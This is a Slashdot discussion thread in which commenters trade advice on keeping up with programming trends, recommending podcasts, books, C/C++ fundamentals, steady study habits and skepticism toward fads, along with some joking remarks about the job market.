Bottom line is, to use your example, if you were looking for what was going down on cutting-edge Java, you would simply spend a good portion of your time researching Java. But the point I'm trying to shoehorn in here is that to stay on edge, you have to be on edge. Which means investing time and researching and *actually* knowing what's going on. Otherwise you'll remain a tool to the hype-machines that have felled so many good programmers / managers.

Sorry... I wish I could give you the "visit site X" answer that you're looking for. I really do.

Local State Unemployment Office (0)

Anonymous Coward | more than 7 years ago | (#15546413)

There you can get the latest postings of jobs for employers that want H1-Bs but need dummy shills (that's you, sucker) to interview and reject, so employers can say that they've already looked and could not find U.S. programmers qualified to take the job.

Doesn't matter what your qualifications are, you can apply, but you're not qualified.

You mean you don't know? (1)

Telastyn (206146) | more than 7 years ago | (#15546523)

Seriously, if you have even a modicum of skill/experience, it should be easy to identify who else has better skill/experience and take their opinions on matters. Things that aren't fads will generally have everyone who is really good touting it (or at least not knocking it). Fads will generally have a few good people touting it, but most disregarding it or knocking it outright.

Good programmers won't knock or promote languages or technologies out of whim or fad or zealotry; they'll promote something they like and at least give grudging respect to good stuff they don't like.

Podcasts (1)

Jagungal (36053) | more than 7 years ago | (#15546599)

I find podcasts a great time saver for keeping up with things you are interested in. Not all of mine are technology or computer related but several are.

  Although not the only source of info, you can listen to them on your commute or while doing other mundane things.

  As for Java, I find http://javaposse.com/ [javaposse.com] a great listen with interesting bits of info even if I don't agree with everything they come out with.

In a nutshell... (4, Funny)

SoupIsGood Food (1179) | more than 7 years ago | (#15546606)

1) The biggest news in Java is that you don't have to program in Java anymore. Popular languages like Python, Ruby and Eiffel(HA! Loser.) have all been ported to the Java VM, and have access to to the Java libraries, in addition to the Python/Ruby/OCaml(HA! Loser.) libraries.

2) You will only ever need to know Java, Ruby or Python to make it as a Web Programmer.

3) RoR is teh hawt. On the Java side, knowing Spring, Hibernate, struts, jUnit, JSF and (hold your nose) Beans will get you far. Python? HA!

4) Python was in, now it's on its way out. Python geeks can keep the perl geeks warm when it snows. Take comfort, the Ruby guys will be there to huddle up with you in five years. PHP guys don't get paid, but will be wanted by people who don't like to pay programmers.

5) C++. How quaint. You must have come from the game programming field. Perhaps you should go back there? We sure as hell don't want you. Go and keep the LISP guy company at the geezer end of the bar.

SoupTellsItLikeIt Is

C/C++ (2, Insightful)

SirSlud (67381) | more than 7 years ago | (#15546646)

Thats it. Know how to program in C/C++ and you will find a job.

What it really comes down to is knowing your data structures, knowing how much memory you're using, knowing how brutal your algorithms are, knowing the time to add/remove/find elements in your structures, and once you know C/C++, everything is a cakewalk. Seriously. Jesus I still wish I was doing web programming, where wasting massive cpu was okay. Learn C/C++ and find a job where you need to keep things speedy like games or web servers that need to deliver massive amounts of requests per second. Spend 2 years doing that, and you'll need and know everything you need to know for a career in programming.

Re:C/C++ (1)

heinousjay (683506) | more than 7 years ago | (#15546682)

I know there's a (mistaken) tendency to believe web programming is some simplified version of the real thing, but how did you get the idea that wasting resources is okay? Just because there are poor programmers out there who don't know how to keep things tight doesn't mean we all code that way, you know.

Re:C/C++ (0)

Anonymous Coward | more than 7 years ago | (#15547353)

Because most web monkey's I've seen couldn't code their way out of a wet paper bag?

Granted, displaying shiny things or other flash, they may be good at...

Re:C/C++ (3, Interesting)

Viol8 (599362) | more than 7 years ago | (#15547357)

I think he was probably refering (correct me if I'm wrong grandparent poster) to that
bloatware that is used to run web apps these days (Hello IBM , are you listening?) and
not necessarily the coders themselves. Though IMO web programming is a bad place to
learn how to code , even java , since you don't have to worry about memory management
etc you can program somewhat sloppier than if you had to do C or C++.

In fact I'd go so far as to suggest that ALL coders should do at least a few months
of C (not C++) or even assembler coding so they get a real feel of what really goes on
with memory, cpu, interrupts etc and so a better feel of how a computer really works.

Re:C/C++ (1)

wandazulu (265281) | more than 7 years ago | (#15548818)

Not only do I concur, but I would argue that anyone who is going to do anything remotely graphical should spend some time learning about window regions, bitblt, things like that. I'm not saying they have to do it all, but show them what it takes just to draw a line on the screen, and keep it there (or move it around with a mouse). *Then* you'll not only get an appreciation for the amount of memory and cpu spent, but what it takes to actually display all that eye candy on the screen.

I was mostly a back-end systems programmer until I got a job writing real-time charting software...you learn to optimize *everything* in a hurry because you can't waste time blt'ing to the screen. Taught me an *enormous* amount of how computers work, and the respect for people who write anything graphical.

Java Posse (3, Informative)

akuzi (583164) | more than 7 years ago | (#15546648)

> Suppose you wanted to stay on the forefront of Java based web development, what would you do?

To keep up with what's happening in the Java world, I'd recommend listening to the excellent Java Posse podcast [slashdot.org] and as well as reading The Server Side [serverside.com].

Leader? Or follower? (0)

Anonymous Coward | more than 7 years ago | (#15546785)

"Ultimately though, its keeping up with these trends and trying to figure out what's a fad versus what's actually useful that's the difficult part. What do some of you do to keep up with the trends?"

You have two choices. You can either be the one who starts a trend, or the one who follows it. I personally prefer the former, were I can do what I want, and the results are followed by those who see the good in what I'm doing. The latter you hand control over to others (with all that implies).

User Demands? (2, Insightful)

Fulcrum of Evil (560260) | more than 7 years ago | (#15547031)

Trends are constantly changing, upgrading, or become popular due to high end user demand

Why the hell should users care what language their stuff is written in? They're USERS!

Just write good code (1)

obnoxiousbastard (239578) | more than 7 years ago | (#15547279)

Screw fads. They are for Lemmings that chase the heard.

Learn how to program. Lot's of people can code. Real programmers are rare.

Become intimately familiar with the language that you are programming in. Learn to think in that language and you'll stand out.

We could doubtless have hours of debate on the virtues (and follies) of structured design and programming, object-oriented design and programming, etc. We might even have a few devinely inspired programmers who will tell you that is how Jesus told me to do it.

I'll make it real simple: If you write good, solid code then you'll be miles ahead of the rest of the crowd.

books (2, Informative)

devonbowen (231626) | more than 7 years ago | (#15547552)

My algorithm is to read Slashdot regularly to look for things that I haven't heard of (usually in the comments, not necessarily articles). When I see a new language or methodology that seems to have a few positive comments written about it, I find a definitive web site and download some pdfs, do some tutorials, or go to O'Reilly and read a book about it (a Safari subscription is nice for this). It works well. It takes some time and effort but I end up with in-depth knowledge (not just buzzwords) about pretty much everything that is relevant. Magazines and such are a total waste of time.

Devon

No tricks, just consistent hard work. (5, Informative)

porsche911 (64841) | more than 7 years ago | (#15547585)

1. Plan on studying something new every 12-18 months.
2. Don't just concentrate on technologies. Study Project Management, Emotional
    Maturity, Presentation skills and public speaking. Think of yourself as an
    investment, you want to hedge your down-side by making sure you have skills
    completely outside the particular situation you are in at any given time.
3. Review yourself every 6 months or so. Are you stuck in a learning rut, continuing to
    read the same types of junky "Visual Basic in 21 nanoseconds" or are you actually
    challenging yourself?
4. Review the basics every so often. Go back and read a deep book on analysis of
    algorithms or databases or language design.
5. Try to push yourself out of your comfort zone every few years.
6. Don't get too hung-up on the buzz-word du jure. 90% of them will last a millisecond
    in your career.
7. Treat everyone you come into contact with as a teacher.

Economics. (0)

Anonymous Coward | more than 7 years ago | (#15547607)

what would you do?

Nothing, apart from maybe reading my favourite computer magazine and some good news website. What ppl call "trends" is to a major part companies trying to establish their products and producing corresponding marketing hype. Trying to follow all those is like watching commercials all day and then run and buy all of those products. Especially, you're always behind and likely subject to constant frustration. So if you stumble across something which really seems interesting try and make sure it's worth your time, then just do that and do it thoroughly. Even better, set a trend yourself and let others dig through the stuff you are doing.

keeping up... (1)

Kranfer (620510) | more than 7 years ago | (#15547769)

Usually, the way I keep up is well... checking slashdot, but not only that I also check out new and upcoming releases of programming books on Amazon.com. For instance I did not really look into AJAX until I started seeing a lot of information out there about it, such as books (WROX has a really good one cannot think of the title though). But usually I do not learn a new fad/trend until I see people actually using it in the work environment or seeing it being talked about a lot by my fellow developers. I see no reason to waste my time on something if its not going to stick around.

Get A Cardboard Sign... (0)

Anonymous Coward | more than 7 years ago | (#15548661)

and stand by the road with the other programmers. If you're nice and not too territorial, they'll share tips with you.

Forget the programming! (1)

s31523 (926314) | more than 7 years ago | (#15548754)

Programming languages are just tools, you want to keep up on the trends? Learn more about how best to use the tools. Employers now are more and more concerned with getting a high quality product out the door in a reasonable time and the claims of using OO or structural langauages are just hype.

It is the developemnt strategy that will either make or break a project. Knowing the latest trends on requirements capture [menloinstitute.com], design [dofactory.com], testing and coding [agiledata.org] techniques for your niche and knowing how to adapt and taking pragmatic approaches will be far superior than knowing the latest trends in programming languages

COBOL (0)

Anonymous Coward | more than 7 years ago | (#15548800)

I've stuck with it. Strangely enough, it's worked for me. Go figure. :-|

A Timeless Way of Building (2, Interesting)

Sigfried (779148) | more than 7 years ago | (#15548909)

Few IT people, even those who understand Patterns methodology, have ever read the original works by the architect Christopher Alexander. His book A Timeless Way of Building [amazon.com] is a masterpiece of design philosophy, that describes the Way of building anything, from a single chair, to a house, a neighborhood, a city, a program, a world, or even a life. Shut down your browser, skip a couple of RSS feeds, and take the time to read this charming little book. My two cents.
Load More Comments
Slashdot Account

Need an Account?

Forgot your password?

Don't worry, we never post anything without your permission.

Submission Text Formatting Tips

We support a small subset of HTML, namely these tags:

  • b
  • i
  • p
  • br
  • a
  • ol
  • ul
  • li
  • dl
  • dt
  • dd
  • em
  • strong
  • tt
  • blockquote
  • div
  • quote
  • ecode

"ecode" can be used for code snippets, for example:

<ecode>    while(1) { do_something(); } </ecode>
Sign up for Slashdot Newsletters
Create a Slashdot Account

Loading...